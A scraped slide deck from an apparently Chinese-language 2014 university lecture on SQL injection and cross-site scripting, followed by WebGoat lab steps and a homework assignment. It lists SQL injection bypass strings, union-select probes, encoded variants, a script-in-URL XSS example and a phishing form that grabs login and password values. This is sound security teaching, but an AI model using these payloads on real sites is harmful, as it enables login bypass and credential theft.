XSS & SQL Injection理論 2014/7/29 許子謙.

Slides:



Advertisements
Similar presentations
Information Security Fundamentals and Practices 資訊安全概論與實務
Advertisements

SQL Injection (資料隱碼) 簡介
SQL的简单查询.
LearnMode學習吧 行動學習 網站註冊程序 長榮中學 電腦中心 製.
Access数据库知识 安丘市职业中专 雷云龙.
第 八 章 資料庫安全 本投影片(下稱教用資源)僅授權給採用教用資源相關之旗標書籍為教科書之授課老師(下稱老師)專用,老師為教學使用之目的,得摘錄、編輯、重製教用資源(但使用量不得超過各該教用資源內容之80%)以製作為輔助教學之教學投影片,並於授課時搭配旗標書籍公開播放,但不得為網際網路公開傳輸之遠距教學、網路教學等之使用;除此之外,老師不得再授權予任何第三人使用,並不得將依此授權所製作之教學投影片之相關著作物移作他用。
Views ,Stored Procedures, User-defined Function, Triggers
Information Security Fundamentals and Practices 資訊安全概論與實務
學術網站弱點檢測 演講者:魏宏吉 2012/05/25.
第四章 網頁表單與資料傳遞.
第四組 停車場搜尋系統 第四組 溫允中 陳欣暉 蕭積遠 李雅俐.
程式語言的基礎 Input Output Program 世代 程式語言 第一世代 Machine language 第二世代
程式設計概論 1.1 程式設計概論 程式語言的演進 物件導向程式 程式開發流程 1.2 C++開發工具
PHP與MySQL連結 大葉大學 資工系 黃鈴玲.
LINQ 建國科技大學 資管系 饒瑞佶.
XSS & SQL Injection理論 2014/7/29 許子謙.
PHP與SQL語法存取MySQL SQL
後端教學-MYSQL 講師:邱小楓(邱珈蓉)
JAVA vs. SQL Server 建國科技大學 資管系 饒瑞佶 2013/4 V1.
連結資料庫 ACCESS MSSQL.
SQL Injection (資料隱碼) 簡介
資料庫管理 操作DBMS 指導教授:楊維邦  助教:廖皓翔.
Working with Databases (II) 靜宜大學資管系 楊子青
信神圖書館影音VOD操作說明.
R教學 安裝RStudio 羅琪老師.
30週年校慶 電腦科暨電腦學會 移動裝置程式編寫及學生成果分享
ASP.NET基本設計與操作 建國科技大學 資管系 饒瑞佶 2007年.
安裝JDK 安裝Eclipse Eclipse 中文化
網頁切換移轉 JS vs. ASP.NET.
OpenID與WordPress使用說明
連結資料庫管理系統.
信神圖書館影音VOD操作說明.
App Inventor2呼叫PHP存取MySQL
Android App簡介及 App Inventor 2體驗 靜宜大學資管系 楊子青
檔案與磁碟的基本介紹.
Java 程式設計 講師:FrankLin.
SQL Injection (資料隱碼) 學生:a 吳倩瑜 指導教授:梁明章.
網頁切換移轉 JS vs. ASP.NET.
表單(Form).
VS.NET 2003 IDE.
Ch20. 計算器 (Mac 版本).
UpToDate Anywhere 設定方法
Firewall-pfsense Mars Su
新版JCR資料庫使用說明 InCites™Journal Citation Reports® (原JCR Web)
表單(Form).
網頁程式概論 建國科技大學資管系 饒瑞佶 2015/9 V1 2016/4 V2 2016/9 V3.
表格(HTML – FORM).
IIS Internet Information Services
期末考.
個人網路空間 資訊教育.
VS.NET 2003 IDE.
如何使用Gene Ontology 網址:
表格(HTML – FORM)
挑戰C++程式語言 ──第7章 輸入與輸出.
編輯網頁可用那些應用程式? 記事本 Word FrontPage Dreamweaver.
SQL語法教學 2015/10/15 John.
從HTML表格到CSS 靜宜大學 資管系 楊子青.
Dreamweaver 進階網頁製作 B 許天彰.
1. 查詢個人電腦版本 1.進入控制台 2.點選“所有控制台項目” 3.點選“系統”.
國立台灣大學 關懷弱勢族群電腦課程 By 資訊工程 黃振修
資料結構與C++程式設計進階 期末考 講師:林業峻 CSIE, NTU 7/ 15, 2010.
安裝JDK 配置windows win7 環境變數
連結資料庫 MYSQL.
指導教師:張慶寶 老師 組長:劉明哲 組員:蔡維庭、葉聖鴻、康有成
多站台網路預約系統之 AJAX即時資料更新機制
SQLite資料庫 靜宜大學資管系 楊子青.
Web安全基础教程
指導老師:張慶寶 組員 : 蔡維庭 4970E028 劉明哲 4970E079 葉聖鴻 4991E020 康有成 4970E004
雲端電腦教室 Matlab 使用介紹 1. 工作目錄切換 2. 把 matlab 的檔案存出來 3. Matlab 軟體介面.
InputStreamReader Console Scanner
Presentation transcript:

XSS & SQL Injection理論 2014/7/29 許子謙

注意! 此課程僅為教學講解之用,嚴禁惡意測試他人網站系統之安全性,否則造成任何法律糾紛皆自行負責

大綱 SQL Injection Cross-Site Scripting (XSS) WebGoat

SQL Injection前言(1/2) 在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料 一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,可以新增、修改、刪除或查詢資料

SQL Injection前言(2/2) SQL指令植入式攻擊,也叫資料隱碼攻擊 並非植入電腦病毒,它是利用寫入特殊SQL程式碼攻擊應用程式 只要提供使用者輸入的介面,又沒有做到嚴密的輸入資料型態管制,就有可能遭受攻擊

SQL Injection 原理(1/2) 一般網站登入的SQL語法 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ ”&request(“UID”)&” ’ And Password = ‘ ”&request(“Passwd”)” &” ’ 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

SQL Injection 原理(2/2) 攻擊者如果知道系統有個管理者帳號為Admin,則輸入Admin’/* Select * from user where UID = ‘ Admin’/* ’ And Password =‘ ’ p.s : /*符號為註解

正常登入 帳號 : John 密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’

SQL Injection 攻擊(1/2) 1. 帳號 : John’/* 密碼 : aaa Select * from user where UID =‘ John’/* ’ And Password = ‘ aaa ’

SQL Injection 攻擊(2/2) 1. 帳號 : John 密碼 : a’ or ’ ’=‘ Select * from user where UID =‘ John ’ And Password = ‘a’ or ’ ’=‘ ’

SQL Injection影響 執行多個SQL語法 存取及控制資料庫中的內容 繞過身份驗證機制

檢測 檢測分為具輸入介面之網頁與URL : 具輸入介面之網頁(Web Form) URL(Uniform Resource Locators) http://www.google.com.tw/search?hl=zh-tw&q=sql+injection

Web Form 依照Web Form提供輸入的欄位,能以數字類型(int)或字串類型(string)分類

針對ASP網頁所用測試字串 ‘ or 1 = 1-- “ or 1 = 1-- or 1 = 1-- ‘ or ‘ ‘ = ‘ ‘ or ‘a’ = ‘a “ or “a” = “a ‘ ) or ( ‘a’ = ‘a ‘ or 1 = 1 ‘ or ‘1 = 1

針對PHP網頁所用測試字串 ‘ or 1 = 1 ‘ or ‘1 = 1 ‘/* ‘%23 // ‘# ‘%23 // ‘# ‘ and password = ‘mypass id = -1 union select 1,1,1 id = -1 union select char(97),char(97),char(97) id = 1 union select 1,1,1 from members id = 1 union select 1,1,1 from admin id = -1 union select 1,1,1 from user

URL 與Web Form測試方法相同,唯一不同的地方在於測試字串是加在URL上的變數後面

URL測試範例 例如觀察一個原始網頁URL : 假設變數為int型態 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234 假設變數為int型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234+and+1=1 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234’ and ‘1’ = ‘1

利用不同編碼(encodings)進行 大小寫混用 URL Encoding 例如SelecT代替select,SELECT等 ASCII : 『’』的ASCII = 39 Unicode = %27 http://..../login.asp?ID=admin and ‘a’ = ‘a’ || http://..../login.asp?ID=admin and %27a%27 = %27a%27

Cross-Site Scripting (XSS) XSS攻擊是利用動態網頁的特性、程式開發者未嚴格限制使用者輸入與未過濾特殊字串,讓惡意的Script得以在使用者的瀏覽器上執行

XSS攻擊 正常URL : 攻擊URL : http://victim/index.php?act=product&ID=777 http://victim/index.php?act=product<script>alert(/XSS/)</script>&ID=777

XSS攻擊的存在型態 XSS攻擊1 – 外嵌script XSS攻擊2 – 內嵌script XSS攻擊3 – 影音物件 不會留下任何資料於網頁伺服器 XSS攻擊2 – 內嵌script 攻擊的script語法以任何形式存於網頁伺服器 如檔案、資料庫 XSS攻擊3 – 影音物件 攻擊的script語法會嵌在影音物件內

常見的XSS攻擊模式 輕微的XSS攻擊 – 惡作劇 嚴重的XSS攻擊 – 竊取資料 嘗試破壞網頁畫面配置與內容 惡作劇程式、廣告視窗等 主要影響為造成使用者不便 嚴重的XSS攻擊 – 竊取資料 盜取連線資訊 : cookie、帳號密碼 網路釣魚 : 置換登入頁面、騙取使用者帳號密碼 惡意程式 : 瀏覽及下載惡意程式、竊取個人資訊

結論 SQL Injection是相當危險的,即使在防火牆上設定再多規則也無法過濾 XSS是今日Web Application最大的安全威脅來源,只要是非靜態網頁皆可能遭受攻擊 SQL Injection與XSS都是網頁設計師的疏失,為駭客大開後門,因此在設計網頁時,要多注意這類的問題並小心防範

WebGoat Step 1 Step 2 Step 3 Step 4 Open “webgoat.bat” http://localhost/WebGoat/attack 帳號密碼皆為guest Step 3 Start WebGoat Step 4 Injection Flaws Cross-Site Scripting (XSS)

<script> function hack() { alert("User Name = " + document <script> function hack() { alert("User Name = " + document.forms[0].login.value + "Password = " + document.forms[0].pw.value) } </script> <div> <br><br>XSS釣魚攻擊<form action="http://tw.yahoo.com/"> <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </table> <input type=submit value=LOGIN onclick= " hack()" > </div>

作業 WebGoat 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com Injection Flaws Lab 1.3 Cross-Site Scripting(XSS) Lab 1.3.5 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com 標題 : XSS & SQL Injection作業 內容 : 系級、學號、姓名、附檔word(學號_姓名.doc) Deadline : 8/15